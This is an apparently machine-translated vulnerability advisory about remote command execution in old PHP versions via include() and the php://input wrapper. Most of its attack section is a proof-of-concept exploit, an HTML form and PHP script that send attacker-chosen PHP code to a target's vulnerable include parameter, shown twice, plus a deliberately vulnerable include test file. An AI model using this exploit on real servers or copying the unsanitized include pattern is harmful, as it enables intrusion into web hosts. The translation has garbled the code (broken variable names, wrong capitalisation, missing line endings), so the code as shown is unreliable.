PHP Input/Ouput Wrapper remote inclusion Function Command Execution Vulnerability

PHP Input/Ouput Wrapper remote inclusion of Function Command Execution Vulnerability (Other, defect)

Involved procedures:
PHP Input/Ouput Wrapper

Description:
PHP Input/Ouput Wrapper remote inclusion Function Command Execution Vulnerability

Details:
PHP is a popular WEB Server programming language.

PHP include () functions have design flaws. Remote attackers can exploit this vulnerability to execute arbitrary commands with WEB permissions.

A PHP design error. When URI data is used as a parameter of the include () function, attackers can submit the post php Command for execution. This problem affects the PHP module, although the problem only occurs when the application uses the URI data provided by the user as the include () function.

This vulnerability allows you to run arbitrary commands on the WEB.

Affected Systems:
PHP 5.0 RC2
PHP 5.0 RC1
PHP 4.3.6
PHP 4.3.3
PHP 4.3.2
PHP 4.3.1
PHP 4.3.0

Attack method:
Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Slythers provides the following test methods:

<Form action = "" methode = "post">
Target server: <input type = "text" name = "server"> <br>
Target file (including URI parameter used in include () call ex: "index. php? IncludeParam = "): <input type =" text "name =" file "> <br>
Exec (enclose php commands between <? ...?> Tags): <input type = "text" name = "cmd"> <br>
<INPUT type = "submit" value = "send">
</Form>

<?
If ($ cmd ){
$ Message = "POST/". $ file. "php: // input HTTP/1.1 ";
$ Message. = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash ,*/*";
$ Message. = "Accept-Language: fr ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Accept-Encoding: deflate ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2 )";
$ Message. = "Host:". $ server ."";
$ Message. = "Content-length:". strlen ($ cmd )."";
$ Message. = "Connection: Keep-Alive ";
$ Message. = "Cache-Control: no-cache ";
$ Message. = "";
$ Message. = $ cmd ."";
$ Fd = fsockopen ($ server, 80 );
Fputs ($ fd, $ message );
While (! Feof ($ fd )){
Echo fgets ($ fd, 1280 );
}
Fclose ($ fd );
}
?>

Local test:

Php environment:

PHP Version 5.2.6
-------------------------------------------- Include. php --------------------------------------------------------------------

-------------------------------------------- Include. php --------------------------------------------------------------------

<? Php
$ A = $ _ GET [a];
Include ($ );
?>

------------------------------------------ Input. php --------------------------------------------------------------------

<Form action = "" methode = "post">
Target server: <input type = "text" name = "server"> <br>
Target file (including URI parameter used in include () call ex: "index. php? IncludeParam = "): <input type =" text "name =" file "> <br>
Exec (enclose php commands between tags): <input type = "text" name = "cmd"> <br>
<INPUT type = "submit" value = "send">
</Form>

<?
If ($ cmd ){
$ Message = "POST/". $ file. "php: // input HTTP/1.1 ";
$ Message. = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash ,*/*";
$ Message. = "Accept-Language: fr ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Accept-Encoding: deflate ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2 )";
$ Message. = "Host:". $ server ."";
$ Message. = "Content-length:". strlen ($ cmd )."";
$ Message. = "Connection: Keep-Alive ";
$ Message. = "Cache-Control: no-cache ";
$ Message. = "";
$ Message. = $ cmd ."";
$ Fd = fsockopen ($ server, 80 );
Fputs ($ fd, $ message );
While (! Feof ($ fd )){
Echo fgets ($ fd, 1280 );
}
Fclose ($ fd );
}
?>

------------------------------------------ Input. php --------------------------------------------------------------------

Test:

Figure 1.